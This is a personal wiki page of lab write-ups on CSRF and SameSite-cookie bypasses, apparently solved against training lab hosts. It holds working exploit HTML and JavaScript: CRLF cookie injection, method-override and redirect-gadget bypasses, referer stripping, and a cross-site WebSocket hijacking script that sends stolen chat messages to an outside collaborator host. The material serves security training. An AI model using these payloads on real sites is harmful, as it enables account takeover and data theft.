Bug Culture Wiki
Contents:
  1. Cross-site Request Forgery
    1. CSRF where token is tied to non-session cookie
    2. CSRF where token is duplicated in cookie
    3. Bypassing SameSite Restrictions
      1. SameSite Configurations
      2. Bypass SameSite Lax via Method Override
      3. Bypass SameSite Restrictions using on-site gadgets
      4. Bypassing SameSite restrictions via vulnerable sibling domains
      5. Bypassing SameSite Lax restrictions with newly issued cookies
    4. Bypassing Referer-based CSRF defenses
      1. Validation of Referer depends on header being present
      2. Validation of Referer can be circumvented

Cross-site Request Forgery

Explanation:

  • Site uses tokens to try to prevent CSRF attacks, but they aren’t fully integrated into the site’s session handling system.
  • We can set arbitrary cookies by leveraging a feature that sets cookies. By injecting a CRLF, we can speicify our own cookies to set.
  • We can chain this into our CSRF payload to set our valid CSRF token in the user’s browser and then perform an action on their behalf. Example:
<html>
  <!-- CSRF PoC - generated by Burp Suite Professional -->
  <body>
    <form action="https://0a2b004a030b51e5806449db0004001d.web-security-academy.net/my-account/change-email" method="POST">
      <input type="hidden" name="email" value="[email protected]" />
      <input type="hidden" name="csrf" value="hVG8GmK9zBO9xlQf8UR7ivFIomqR87kK" />
      <input type="submit" value="Submit request" />
    </form>
<img src="https://0a2b004a030b51e5806449db0004001d.web-security-academy.net/?search=test%0d%0aSet-Cookie:%20csrfKey=Mj13hpoDOI9llAxMW4La4PE3SsSufqKQ%3b%20SameSite=None" onerror="document.forms[0].submit()">
  </body>
</html>

Explanation:

  • Same as the previous example, we can use the search function to set cookies.
  • The site only checks that the csrf parameter matches the csrf cookie, so we can bypass the csrf parameter.
<html>
  <!-- CSRF PoC - generated by Burp Suite Professional -->
  <body>
    <form action="https://0a14000a046b946780cb03e600f200df.web-security-academy.net/my-account/change-email" method="POST">
      <input type="hidden" name="email" value="[email protected]" />
      <input type="hidden" name="csrf" value="96CW199wKzFxb3qljNWzdSw1O5OmNAsU" />
      <input type="submit" value="Submit request" />
    </form>
<img src="https://0a14000a046b946780cb03e600f200df.web-security-academy.net/?search=test%0d%0aSet-Cookie:%20csrf=96CW199wKzFxb3qljNWzdSw1O5OmNAsU%3b%20SameSite=None" onerror="document.forms[0].submit()">
  </body>
</html>

Bypassing SameSite Restrictions

SameSite is a browser security mechanism that determines when a website’s cookies are included in requests originating from other websites. SameSite cookie restrictions provide partial protection against a variety of cross-site attacks, including CSRF, cross-site leaks, and some CORS exploits.

origin = [https://www.website.com]
site = [example][.com]

SameSite Configurations

  • None = Can be used in any cross-site request
    • When setting a cookie with SameSite=None, the website must also include the Secure attribute
  • Lax = Must be a GET request and the request resulted from a top-level navigation by the user. (clicking a link for ex.)
  • Strict = Cookie will not be sent in any cross-site requests

Bypass SameSite Lax via Method Override

  • Simply changing the method if the endpoint allows it:
  • <script>
    document.location = 'https://vulnerable-website.com/account/transfer-payment?recipient=hacker&amount=1000000';
    </script>
    
  • Even if an ordinary GET request isn’t allowed, some frameworks provide ways of overriding the method specified in the request line. For example, in syphony:
<form action="https://vulnerable-website.com/account/transfer-payment" method="POST">
    <input type="hidden" name="_method" value="GET">
    <input type="hidden" name="recipient" value="hacker">
    <input type="hidden" name="amount" value="1000000">
</form>
<html>
--> Lab Example <--
  <body>
    <form action="https://0ace00d503b2b0d8801f039200040035.web-security-academy.net/my-account/change-email" method="GET">
      <input type="hidden" name="_method" value="POST">
      <input type="hidden" name="email" value="[email protected]" />
      <input type="submit" value="Submit request" />
    </form>
    <script>
      history.pushState('', '', '/');
      document.forms[0].submit();
    </script>
  </body>
</html>

Bypass SameSite Restrictions using on-site gadgets

  • If a cookie is set with the SameSite=Strict attribute, browsers won’t include it in any cross-site requests. You may be able to get around this limitation if you can find a gadget that results in a secondary request within the same site.
  • One possible gadget is a client-side redirect that dynamically constructs the redirection target using attacker-controllable input like URL parameters.
  • As far as browsers are concerned, these client-side redirects aren’t really redirects at all; the resulting request is just treated as an ordinary, standalone request.
  • Most importantly, this is a same-site request and, as such, will include all cookies related to the site, regardless of any restrictions that are in place.
  • If we can manipulate this gadget to elicit a malicious secondary request, this can enable you to bypass any SameSite cookie restrictions completely.

SameSite Strict bypass via client-side redirect

  • In the lab we see after posting a comment we are redirected to a confirmation page and then the post.
  • Looking at the js file: /resources/js/commentConfirmationRedirect.js, we confirm the redirect is handled client-side and that is uses the postid query parameter to dynamically construct the path for the client-side redirect.
  • So we could change /post/comment/confirmation?postId=foo to /post/comment/confirmation?postId=../my-account?id=wiener
  • TO exploit this and bypass the samesite=strict, we crafted the following test script:
  • <script>
    document.location = "https://0af20055046ac0a4800c03ef009300cc.web-security-academy.net/post/comment/confirmation?postId=../my-account";
    </script>
    
  • If the target request also allows the GET method, we can modify our script by capturing the post request and then changing the request method:
  • <script>
    document.location = "https://0af20055046ac0a4800c03ef009300ccD.web-security-academy.net/post/comment/confirmation?postId=1/../../my-account/change-email?email=pwned%40web-security-academy.net%26submit=1";
    </script>
    

Bypassing SameSite restrictions via vulnerable sibling domains

  • it’s essential to keep in mind that a request can still be same-site even if it’s issued cross-origin.
  • Vulnerabilities that enable you to elicit an arbitrary secondary request, such as XSS, can compromise site-based defenses completely, exposing all of the site’s domains to cross-site attacks.
  • In addition to classic CSRF, don’t forget that if the target website supports WebSockets, this functionality might be vulnerable to cross-site WebSocket hijacking (CSWSH), which is essentially just a CSRF attack targeting a WebSocket handshake. Example:
  • In this lab we have a chat feature that uses websockets. The requests do not utilize any csrf protection. So in theory we should be able to perform a cross-site WebSocket hijacking attack.
  • But, the site has samesite=strict enabled on cookies. So, we need a way to bypass this. Well, after looking at requests, we see “Access-Control-Allow-Origin: https://cms-0ae800db03b4cb30b7e7e15c00e30079.web-security-academy.net”. If we can find a vulnerability here, we may be able to chain it to bypass the samesite=strict on the target site.
  • We can confirm the CSWSH vulnerability with this exploit here:
<script>
    var ws = new WebSocket('wss://0ae800db03b4cb30b7e7e15c00e30079.web-security-academy.net/chat');
    ws.onopen = function() {
        ws.send("READY");
    };
    ws.onmessage = function(event) {
        fetch('https://k4prlk0apyhm095fk1834ffualgc43yrn.oastify.com', {method: 'POST', mode: 'no-cors', body: event.data});
    };
</script>
  • We confirmed we got a hit to our collab server. After looking at the cms site, we found a reflected xss in the login form, which also works with a GET request. We can abuse this reflected XSS to exploit the csrf.
  • So, we url encoded out payload from earlier and added it into the vulnerable username parameter.
<script>
    document.location = "https://cms-0ae800db03b4cb30b7e7e15c00e30079.web-security-academy.net/login?username=%3c%73%63%72%69%70%74%3e%0a%20%20%20%20%76%61%72%20%77%73%20%3d%20%6e%65%77%20%57%65%62%53%6f%63%6b%65%74%28%27%77%73%73%3a%2f%2f%30%61%65%38%30%30%64%62%30%33%62%34%63%62%33%30%62%37%65%37%65%31%35%63%30%30%65%33%30%30%37%39%2e%77%65%62%2d%73%65%63%75%72%69%74%79%2d%61%63%61%64%65%6d%79%2e%6e%65%74%2f%63%68%61%74%27%29%3b%0a%20%20%20%20%77%73%2e%6f%6e%6f%70%65%6e%20%3d%20%66%75%6e%63%74%69%6f%6e%28%29%20%7b%0a%20%20%20%20%20%20%20%20%77%73%2e%73%65%6e%64%28%22%52%45%41%44%59%22%29%3b%0a%20%20%20%20%7d%3b%0a%20%20%20%20%77%73%2e%6f%6e%6d%65%73%73%61%67%65%20%3d%20%66%75%6e%63%74%69%6f%6e%28%65%76%65%6e%74%29%20%7b%0a%20%20%20%20%20%20%20%20%66%65%74%63%68%28%27%68%74%74%70%73%3a%2f%2f%6b%34%70%72%6c%6b%30%61%70%79%68%6d%30%39%35%66%6b%31%38%33%34%66%66%75%61%6c%67%63%34%33%79%72%6e%2e%6f%61%73%74%69%66%79%2e%63%6f%6d%27%2c%20%7b%6d%65%74%68%6f%64%3a%20%27%50%4f%53%54%27%2c%20%6d%6f%64%65%3a%20%27%6e%6f%2d%63%6f%72%73%27%2c%20%62%6f%64%79%3a%20%65%76%65%6e%74%2e%64%61%74%61%7d%29%3b%0a%20%20%20%20%7d%3b%0a%3c%2f%73%63%72%69%70%74%3e&password=anything";
</script>
  • And in our collab server, we get:
{"user":"Hal Pline","content":"No problem carlos, it&apos;s cz534om0yv27nevjhial"}

Bypassing SameSite Lax restrictions with newly issued cookies

  • Cookies with Lax SameSite restrictions aren’t normally sent in any cross-site POST requests, but there are some exceptions.
  • If a website doesn’t include a SameSite attribute when setting a cookie, Chrome automatically applies Lax restrictions by default. However, to avoid breaking single sign-on (SSO) mechanisms, it doesn’t actually enforce these restrictions for the first 120 seconds on top-level POST requests. As a result, there is a two-minute window in which users may be susceptible to cross-site attacks.
  • It’s somewhat impractical to try timing the attack to fall within this short window. On the other hand, if you can find a gadget on the site that enables you to force the victim to be issued a new session cookie, you can preemptively refresh their cookie before following up with the main attack. For example, completing an OAuth-based login flow may result in a new session each time as the OAuth service doesn’t necessarily know whether the user is still logged in to the target site.
  • To trigger the cookie refresh without the victim having to manually log in again, you need to use a top-level navigation, which ensures that the cookies associated with their current OAuth session are included. This poses an additional challenge because you then need to redirect the user back to your site so that you can launch the CSRF attack.
  • Alternatively, you can trigger the cookie refresh from a new tab so the browser doesn’t leave the page before you’re able to deliver the final attack. A minor snag with this approach is that browsers block popup tabs unless they’re opened via a manual interaction. For example, the following popup will be blocked by the browser by default:
window.open('https://vulnerable-website.com/login/sso');

To get around this, you can wrap the statement in an onclick event handler as follows:

window.onclick = () => {
    window.open('https://vulnerable-website.com/login/sso');
}
  • This way, the window.open() method is only invoked when the user clicks somewhere on the page. Example: Samesite Lax Bypass via Cookie Refresh
  • Looking at the response to the GET /oauth-callback?code=[…] request at the end of the OAuth flow. We notice that the website doesn’t explicitly specify any SameSite restrictions when setting session cookies. As a result, the browser will use the default Lax restriction level.
  • We we attempt a basic csrf exploit before two mins on the change email function, it works, anything after and we are sent to the oauth login.
  • TO bypass the samesite restriction we can abuse the fact that the oauth flow sets a new sessions cookie everytime, even if were logged in to refresh the victim’s session by forcing their browser to visit /social-login, then submit the email change request after a short pause.
<form method="POST" action="https://YOUR-LAB-ID.web-security-academy.net/my-account/change-email">
    <input type="hidden" name="email" value="[email protected]">
</form>
<script>
    window.open('https://YOUR-LAB-ID.web-security-academy.net/social-login');
    setTimeout(changeEmail, 5000);

    function changeEmail(){
        document.forms[0].submit();
    }
</script>
  • Note that we’ve opened the /social-login in a new window to avoid navigating away from the exploit before the change email request is sent.
  • We see that the initial request gets blocked by the browser’s popup blocker.
  • After a pause, the CSRF attack is still launched. However, this is only successful if it has been less than two minutes since the cookie was set. If not, the attack fails because the popup blocker prevents the forced cookie refresh.
  • TO bypass the popup blocker, we first tealize that the popup is being blocked because you haven’t manually interacted with the page.
  • We can change our exploit so that it induces the victim to click on the page and only opens the popup once the user has clicked:
<form method="POST" action="https://0ac9001503c90d148022c11c007400f2.web-security-academy.net/my-account/change-email">
    <input type="hidden" name="email" value="[email protected]">
</form>
<p>Click anywhere on the page</p>
<script>
    window.onclick = () => {
        window.open('https://0ac9001503c90d148022c11c007400f2.web-security-academy.net/social-login');
        setTimeout(changeEmail, 5000);
    }

    function changeEmail() {
        document.forms[0].submit();
    }
</script>

Bypassing Referer-based CSRF defenses

  • Some applications make use of the HTTP Referer header to attempt to defend against CSRF attacks, normally by verifying that the request originated from the application’s own domain. This approach is generally less effective and is often subject to bypasses.

Validation of Referer depends on header being present

  • Some applications validate the Referer header when it is present in requests but skip the validation if the header is omitted.
  • In this situation, an attacker can craft their CSRF exploit in a way that causes the victim user’s browser to drop the Referer header in the resulting request. There are various ways to achieve this, but the easiest is using a META tag within the HTML page that hosts the CSRF attack:
<meta name="referrer" content="never">

Lab example:

<html>
<meta name="referrer" content="never">
  <!-- CSRF PoC - generated by Burp Suite Professional -->
  <body>
    <form action="https://0ab300b50485179980f2038d00170094.web-security-academy.net/my-account/change-email" method="POST">
      <input type="hidden" name="email" value="[email protected]" />
      <input type="submit" value="Submit request" />
    </form>
    <script>
      history.pushState('', '', '/');
      document.forms[0].submit();
    </script>
  </body>
</html>

Validation of Referer can be circumvented

  • Some applications validate the Referer header in a naive way that can be bypassed. For example, if the application validates that the domain in the Referer starts with the expected value, then the attacker can place this as a subdomain of their own domain: http://vulnerable-website.com.attacker-website.com/csrf-attack
  • Likewise, if the application simply validates that the Referer contains its own domain name, then the attacker can place the required value elsewhere in the URL: http://attacker-website.com/csrf-attack?vulnerable-website.com NOYE:
  • Although you may be able to identify this behavior using Burp, you will often find that this approach no longer works when you go to test your proof-of-concept in a browser. In an attempt to reduce the risk of sensitive data being leaked in this way, many browsers now strip the query string from the Referer header by default.

  • You can override this behavior by making sure that the response containing your exploit has the Referrer-Policy: unsafe-url header set (note that Referrer is spelled correctly in this case, just to make sure you’re paying attention!). This ensures that the full URL will be sent, including the query string. Example:
HTTP/1.1 200 OK
Content-Type: text/html; charset=utf-8
Referrer-Policy: unsafe-url
<html>
  <!-- CSRF PoC - generated by Burp Suite Professional -->
  <body>
  <script>history.pushState("", "", "/?0a02009b04644ae4802b036500d50043.web-security-academy.net")</script>
    <form action="https://0a02009b04644ae4802b036500d50043.web-security-academy.net/my-account/change-email" method="POST">
      <input type="hidden" name="email" value="[email protected]" />
      <input type="submit" value="Submit request" />
    </form>
    <script>
      document.forms[0].submit();
    </script>
  </body>
</html>